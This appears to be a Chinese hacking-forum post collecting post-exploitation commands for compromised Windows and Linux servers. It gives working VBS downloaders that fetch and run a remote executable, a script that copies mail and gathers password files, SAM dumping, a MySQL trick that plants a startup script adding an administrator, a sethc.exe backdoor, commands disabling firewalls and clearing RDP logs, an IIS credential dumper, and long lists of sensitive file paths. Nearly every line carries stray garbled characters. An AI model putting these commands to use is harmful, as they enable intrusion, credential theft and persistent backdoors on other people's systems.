9 p3 s% ^" X% M4 Y& [感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
1 V7 A8 e( G/ }0 X/ P————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
2 s. D$ l% N* G+ Aalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
. `4 G5 @% v  E& U- d注：
8 x1 w8 Q4 q5 G# r/ b- Y9 @: B关于tar的打包方式,linux不以扩展名来决定文件类型。
9 o7 ]! Y2 W  o3 z' K9 T若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
) S- n- m( o1 R}  

6 r$ O! t, g$ S" R* \3 k提权先执行systeminfo
token 漏洞补丁号 KB956572
  v1 B" V' w8 ~7 _Churrasco          kb952004
命令行RAR打包~~·
3 Y/ H" F$ q+ Qrar a -k -r -s -m3 c:\1.rar c:\folder
' ~, L  _3 h- o——————————————
7 Y$ T( o  t9 l. I# P/ l4 Y2、收集系统信息的脚本  
for window：

7 D$ U( M1 N" O- g@echo off
echo #########system info collection
7 [! e( H9 q1 _* z6 Dsysteminfo
ver
5 K0 x( b0 r9 B' R6 I2 g  o3 khostname
& ~* s8 K0 F- @1 Cnet user
0 y: S. [+ b4 P" Jnet localgroup
net localgroup administrators
net user guest
net user administrator

- }' x7 {/ S1 k9 Fecho #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
tasklist /svc
4 |3 g: p) d" N) g6 [/ S9 D& \& aecho
, s. y3 h) t+ A8 b' Qecho ####net-work infomation
ipconfig/all
& \/ ?9 K: [( z  F1 V! e0 C8 Yroute print
$ [8 P* B8 g9 U! Q" A: e  `9 t5 u8 warp -a
netstat -anipconfig /displaydns
echo
6 o! i5 ~. a( O, o: cecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
( s& L, M8 b+ vfor linux：
7 h- ^+ f; U7 T8 R# W- ?
#!/bin/bash
& i$ [# |+ Q) g5 f, I  ]
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
+ A! u' L0 U! z+ Vecho
1 j, [2 J' u. S5 `cat /proc/cpuinfo
  }5 Y1 W/ ~. R: Gecho
$ t1 }6 S" w  l/ arpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
- l2 ?0 B: G" d- r# ^1 y$ r2 [

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
6 Q# S/ q2 P- k" Lcrontab -l
echo #####about var#####
set

+ p0 i" ~; x% b: r6 Mecho #####about network###
7 [, w2 O, u- X; e####this is then point in pentest,but i am a new bird,so u need to add some in it
" u. |4 C$ A! i+ ^3 f6 K, L: ocat /etc/hosts
$ B" @9 Z5 J! fhostname
- Z" F  v7 `# K4 iipconfig -a
! p! S$ F: ]7 z& U+ Earp -v
echo ########user####
cat /etc/passwd|grep -i sh
  n3 ?# S( I0 A
# l' y# M6 ^8 pecho ######service####
chkconfig --list
$ ?. \# N+ Y. F7 k! h) v+ c6 s- \
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
. r, m1 N' d1 ~7 e" p2 M" M8 N$ _6 ?done

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
$ u$ \- B, N% Plocate conf >/tmp/sysconfig 2>dev/null
sleep 5
8 V9 O' {: H3 W3 |: F/ Hlocate config >>/tmp/sysconfig 2>/dev/null
% x/ _* b( L3 s: P# msleep 5
$ k4 G) k# a; j/ D) ^
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
* M& O2 g0 c# D! a0 k3、ethash 不免杀怎么获取本机hash。
# y+ i: D! q' @首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
* ]: X5 {8 N  n  X3 u0 R; ]注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
4 z: n& m5 e0 z- I- P! m) o接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
$ z6 m4 T: r, Bhash 抓完了记得把自己的账户密码改过来哦！
: n* A* `& q7 x  f据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
0 D6 f9 j0 E$ K& ]5 v* fecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
. H8 d/ w/ d8 V! L* Aecho sGet.Open() >>c:\windows\cftmon.vbs
. o3 f% D, C! V! A' A2 {/ B6 @echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
% U2 E0 y: y/ w$ x, i; Y% ]echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
2 ?5 I5 l' M/ q+ S3 Yecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

6 {/ `" j  b# t: J4 c, g2
5 d" B# W9 H, k% y0 F4 oOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
3 L. V" O8 D& h* hs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
% R4 r, d2 O- L7 r9 zSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
& H0 }$ S: R% V3 {sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

5 L" F9 q' n3 ]- K. ^. p3 ^当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
  ^( w: ^: L' V7 a: K——————————————————
- S+ Y" r3 K" U5、
9 ?; ]+ r/ o" I5 [* V1.查询终端端口
9 h1 l* m0 v* y2 X  WREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
8 P1 N8 x: u. |2 M/ t& cREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
/ R  Q% o! J4 j4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 @  ~, [: I8 j4 |" u9 k) eREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
1 |1 q0 c2 O5 Z- F6 E0 r2 q. k————————————————
1 l" C6 k" S2 c. T# @) o6、create table a (cmd text);
9 w# B# O. @+ Z8 Z' O' h; einsert into a values ("set wshshell=createobject (""wscript.shell"")");
# ^8 C6 N( y4 H9 qinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
" ^: P. {. }1 O" Qselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
4 z  P- W6 u, Z————————————————————
: d7 c; F, j0 w! _# _, {+ J# _7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

, m5 A8 a0 T/ z- u/ {3 `  T列出d的所有目录
  
: v* g% m: k$ z. g& n  for /d %i in (???) do @echo %i
6 ?8 R4 ]: F& j1 y
把当前路径下文件夹的名字只有1-3个字母的打出来

) `, c2 @! U" d2 d2.for /r %i in (*.exe) do @echo %i
  
: [* W# K$ O: a& `4 F; x以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
( z* A: h8 s" Y" @  [* g9 V) u5 `
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

1 t3 `6 Q" }  `3.for /f %i in (c:\1.txt) do echo %i
% ^! }: B9 v# t8 }  
, G- C2 H; V; p2 o5 c6 g  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
) u5 Q5 _1 K2 N% G) b
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
+ C- ?* ~! M; B7 T6 l" D●注册表:
( S* _$ o( K9 z5 L+ T' l4 H3 i1.Administrator注册表备份:
/ J& ^+ t5 W+ }5 |reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
2 @  b- h" A) p" f* l
: S: J3 q" Y. v( p0 J) e2.修改3389的默认端口:
2 U5 x; G& \7 ]' U' ~HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
! T; C+ M: D+ t: e( `
8 x6 u4 U) T) W3.清除3389登录记录:
8 e& x7 J! S9 h/ Sreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
6 \5 d; T# q& h5 Y& d+ t
4.Radmin密码:
7 c' H& M4 P) `" w. c; ?* ^reg export HKLM\SYSTEM\RAdmin c:\a.reg

8 G9 p3 [  p3 E* S5.禁用TCP/IP端口筛选(需重启):
7 {" |) T) |! oREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

1 K9 t$ S# Q0 X6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
( [- @$ J1 a: d1 @
1 d/ y: f' f( W7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

! ]7 d) L) E. G, l1 q) J" l$ u8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
$ O) }& V( C) M6 x7 {4 T) A7 ~' Kreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
- u4 ~# N; J* Q-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
/ c7 p2 ~& {8 m; y) i% HchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
- l+ r6 z# v; f; c9 e% xif err.number<>0 then
3 p+ |2 _; H8 G$ v8 D* ~) cexit for
: O; K& z9 f' i* g) T. R* Dmsgbox("error!")
/ S# O2 I4 |. h2 q6 qwscript.quit
5 O9 [3 C- m, }0 H7 T6 X6 f$ cend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
3 }: t8 M9 G* @pass=iisweb.AnonymousUserPass
' ^1 T+ r6 D3 e% |1 [2 _path=IIsWeb.path
/ k6 Z- A  \* M& B* _1 elist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
& J; V. q/ i, ^! E5 e- Xend if
Next
wscript.echo list
Set ObjService=Nothing
5 U& r. I; {* ~( o/ d4 ^wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
) Z5 S. o5 Y5 l, S0 \WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
* w7 Q$ D1 k8 j* g3 _* m1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
& J4 v% v  a* ~4 W<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
* S% i9 ~+ z5 |* ^复制代码
$ C3 o: I" x$ w然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
6 k* Q0 d& G$ M4 |4 VPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
* u; S* t3 g! _5 }" P 原因是ASP大马里有这样的代码：（没有就没事儿了）
0 b& {% x0 L6 q* E* k8 C) ^( h url=request.severvariables("url")
! Q/ o' X5 k' ~2 N" ?0 S 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
1 b& u/ \8 @( {8 Q 解决方法
url=request.severvariables("path_info")
% v4 P- e6 Y" d. o9 E8 J path_info可以直接呈现虚拟路径 顺利解析gif大马

9 M) j: Z! l- y) s: H* D4 b==============================================================
1 F. ?3 x/ ?% O% |& ]5 V! lLINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
6 Q4 L+ m6 j% s( A% Y) Z) a/etc/motd
/etc/ld.so.conf
$ M* w* f+ J) q/var/www/htdocs/index.php
! ]# K! R) s5 V+ \$ m; u+ X% w/ Q4 D/var/www/conf/httpd.conf
( g) r% W% X6 M9 `0 g; g/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/ `  Q: A1 D0 N* i/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
" U4 T3 K" l7 H% S3 r$ h0 l: n# p2 k/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
. V( p- ^% N, H7 B0 [6 _/tmp/apache/htdocs/index.html
  ^( O: }1 l1 e' R+ v% }/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
% ?1 B) R, v% K1 b, e( |/etc/httpd/htdocs/index.html
2 [* g& w% e0 P/www/php/php.ini
+ _: o$ }& f  a3 O! U8 `) U/www/php4/php.ini
/www/php5/php.ini
" K7 h* O8 \3 J9 ~/www/conf/httpd.conf
- k+ B* d1 g, P1 ?: z/www/htdocs/index.php
/ c5 S% J# @2 _$ A5 Q, M3 d0 M8 u' I/www/htdocs/index.html
5 Z0 v1 y* s5 a  R/usr/local/httpd/conf/httpd.conf
9 X, \6 n. B9 g$ I/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
' _6 t, [) ^3 c/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
0 a2 K4 r7 F/ ]& k5 q- `& V/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
( n4 ]4 U/ P( b* X$ T4 o/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 r4 {+ S+ ^/ r( h# c3 @9 n/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
) {" ~: v; W2 ]0 u/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
& J6 G/ R7 R4 g- i0 I- g3 u/etc/httpd/logs/access_log
0 S9 P, O/ Z9 M5 T! J9 v6 P6 c/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/ z) |$ x. M4 A  R* G% |- n4 L  D/home/apache2/conf/httpd.conf
' r& _. T2 u3 l" u/var/log/apache/error_log
9 H- [% W* K( _6 o; N/var/log/apache/error.log
/var/log/apache/access_log
- V/ z9 }# p% [0 a/var/log/apache/access.log
/var/log/apache2/error_log
$ ~0 h& z$ |/ P4 J5 U- @- l- k/var/log/apache2/error.log
/var/log/apache2/access_log
! W( l5 A2 Y$ |/ l% X' @4 z/var/log/apache2/access.log
7 `4 i( P5 q9 o; q2 G/var/www/logs/error_log
" Z7 i& Z6 s) P: G/var/www/logs/error.log
/var/www/logs/access_log
6 J5 [: }( r) H$ w' H( C5 R/var/www/logs/access.log
9 @, s4 O  f6 o" W1 g/usr/local/apache/logs/error_log
. N/ A( v7 P. g/usr/local/apache/logs/error.log
8 s# a& k0 ]4 a0 n* N; H% i. h/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
' `2 X- ^' [- Q- Y2 P/var/log/error_log
* ~+ x7 P' G0 n% ^/var/log/error.log
/var/log/access_log
& E: x( o) u+ M3 A5 U+ H: g/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
, l7 u, w6 Y8 d5 ^) [' }9 v/etc/php.ini
: B1 d2 \8 U: {5 b5 N/bin/php.ini
4 H# w. `" V6 `8 j3 R/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
' p  \# _4 j/ N( V/usr/local/etc/php.ini
; ~3 M$ Y% A9 x) N; e2 ]& L/usr/local/lib/php.ini
8 k$ }! Q3 R8 v( q0 C/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
1 [6 p6 @/ @# T# d4 x  ]7 u/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
3 j2 G* r* B% \+ J( `) l( I/usr/local/apache/conf/php.ini
' G: i( r/ U& n* s7 j/usr/local/apache/conf/httpd.conf
, J2 E- E4 w  \# U/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
1 y: W1 ~1 n( u( H( @$ ]/ ^/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
2 [7 S2 \7 A2 R5 }6 e/ u/ n/etc/php4/apache2/php.ini
9 i/ V/ d5 r3 l8 F( l6 I8 X$ P/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
  p' t0 Z, z6 E- G% T/etc/php/php4/php.ini
: j: j1 g* L, e5 t' Z: W+ `) R; @/etc/php/apache/php.ini
+ y. q* W5 c3 j* W$ D2 o6 q/etc/php/apache2/php.ini
( o. {6 U- X# Q' E7 `" T3 V/web/conf/php.ini
/usr/local/Zend/etc/php.ini
3 k# c+ Y  W& ^$ j" H/opt/xampp/etc/php.ini
/ H) n) d8 @: o  h2 _- r" H' r/var/local/www/conf/php.ini
1 F9 x1 p- d7 n4 {/var/local/www/conf/httpd.conf
( @4 {, u3 s$ S" q0 T/etc/php/cgi/php.ini
$ ?. z% R6 Z, y; H/ F" N/etc/php4/cgi/php.ini
+ y: i' T. v* \- [0 p/etc/php5/cgi/php.ini
+ ~3 p% M, r3 H/php5/php.ini
* z$ C+ [" [, C, Q/php4/php.ini
/php/php.ini
) J2 k- W, H5 n1 Z& V; }/PHP/php.ini
/apache/php/php.ini
$ {4 z( _, t7 [: ~% O- |4 [( s. n/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
8 v3 v  @8 {. ]/NetServer/bin/stable/apache/php.ini
6 t+ A9 J# v- |# s4 b/home2/bin/stable/apache/php.ini
9 C) }" i" C' g! ^/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
7 _& `2 W  p0 @* c* {0 m% o5 v8 @/ s) @/var/log/mysql.log
1 {; n+ O. Y, q/var/log/mysqlderror.log
/var/log/mysql/mysql.log
$ ]* ?2 N" s) ?" m) }+ o/var/log/mysql/mysql-slow.log
0 [8 j( m; l( q: R, W/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
  y; Y! |6 o/ d9 V1 ?5 i/ m4 I/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
. n5 N4 v9 o6 ?2 J) V/usr/local/cpanel/logs/license_log
& F+ F/ o$ c$ l% I" @4 A/ m/usr/local/cpanel/logs/login_log
8 b/ _# k/ T; o5 K+ e/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
4 ^: F2 Q* m& z& W2 O8 l! [: s
) M; Q* ?/ E4 M2 V0 e3 @; _+ w2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
0 b6 g8 ^2 d8 ?3 x
c:\windows\php.ini
c:\boot.ini
) _; b9 J, l1 f6 ic:\1.txt
  F. p  y) H$ Ac:\a.txt

6 n- V5 F0 T: J* r7 _4 q5 m* Qc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
  m6 [3 v. s- T3 b. I. I; x1 h  @c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
0 c4 |4 n! @" v' MC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
3 h3 Q' Q# g9 GC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

, t  A( d; }5 ac:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

; z) q$ b  b2 ?6 C: cC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
0 U/ B: a9 e  i2 Y" bC:\WINDOWS\web.config
: _# F* v# V! z- Z/ g8 Y; hc:\web\index.html
, J, Z% I$ k0 Kc:\www\index.html
: u/ |. R' c4 f% ~c:\WWWROOT\index.html
3 o$ \% K  X5 z% }7 z2 Qc:\website\index.html
c:\web\index.asp
  O; m: V& R1 hc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
* Y+ p4 g) t; l4 M* S# ~" O( \' {9 Qc:\www\index.php
& ~9 r0 S9 k5 Q1 _+ Sc:\WWWROOT\index.php
1 U# X* X- D, L4 ~  r$ [. r* T0 ]c:\WWWsite\index.php
9 s( `& Y' G% D4 U8 A3 e$ b4 Cc:\web\default.html
c:\www\default.html
8 w5 z, l, A% g4 T# F. V( G2 Xc:\WWWROOT\default.html
c:\website\default.html
, `) {3 I2 h, \& s' ^c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
5 ~% M( J: j2 l( q( J1 |c:\WWWROOT\default.asp
/ |8 m9 P! Y8 L- D) z* tc:\web\default.php
  r* J- M8 B0 P# @9 cc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
0 F' I" ]4 f4 `8 v. N  fc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
$ P/ ~3 V3 `6 j( HC:\Program Files\Internet Explorer\IEXPLORE.EXE
& \+ K6 K. t, k- O2 E$ q3 [C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
2 W' N/ Z: Y9 d. F) eC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
: L) M( F5 x/ U, ]% [9 I- Jc:\ravbin\store.ini
9 n! W+ J) x3 j& z3 tc:\rising.ini
; U. R7 V6 U' @: x% n+ ^/ S' JC:\Program Files\Rising\Rav\RsTask.xml
5 A' n) J$ H' i' s! Q5 F) w1 VC:\Documents and Settings\All Users\Start Menu\desktop.ini
% K4 i( M8 i$ T1 K: d/ B, }  T, rC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
4 i3 R8 A% p& |4 q+ O: CC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
! U4 T$ M" T) AC:\Documents and Settings\Administrator\My Documents\1.txt
" B, ~2 V3 l* u2 Y$ x- R# F2 CC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
/ p( C: N" T) cC:\Documents and Settings\Administrator\桌面\a.txt
; V7 O4 R' k# W$ aC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
  H4 I3 @' h9 ^2 M9 u- CE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
9 c) ^0 M1 L: Q; VC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
9 M7 G) g  T( i) T$ P. {C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
: ]  \( c2 I& ~; R0 }C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
# ~2 c  g1 a8 J7 U, I, N: LC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
- j3 n4 v% n+ B, W; dC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
/ m4 X1 F/ u; `4 X% |C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
+ ~7 t, N( r5 r" l* {2 }C:\Program Files\MySQL\MySQL Server 5.0\COPYING
  Y3 a# A7 A( Y. G5 _8 H6 R! @: g2 Y9 yC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
7 M( A: R; e5 }( g: L9 Q( b  WC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
4 n/ Y" V6 {6 sc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
6 h7 b( ~* I* `5 }4 U. g4 z: iC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
' }/ D; {8 r- S2 V+ y" JC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
. V/ i3 C& l+ a6 v+ XC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
' M# n' m3 |6 q* n- J: Y! C5 pC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
* q- o( Z/ D6 A+ Cc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
1 j( n% `& b  mC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
) h9 l5 K7 q" C# tc:\Apache2\bin\Apache.exe
+ X9 z. X! @( `3 i, Oc:\Apache2\php\license.txt
$ {- C) ?2 d2 ]C:\Program Files\Apache Group\Apache2\bin\Apache.exe
' ~' g* }6 |9 L& O4 n/usr/local/tomcat5527/bin/version.sh
3 r' h3 S3 t3 x* I/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
8 b! E6 U* J+ ?c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
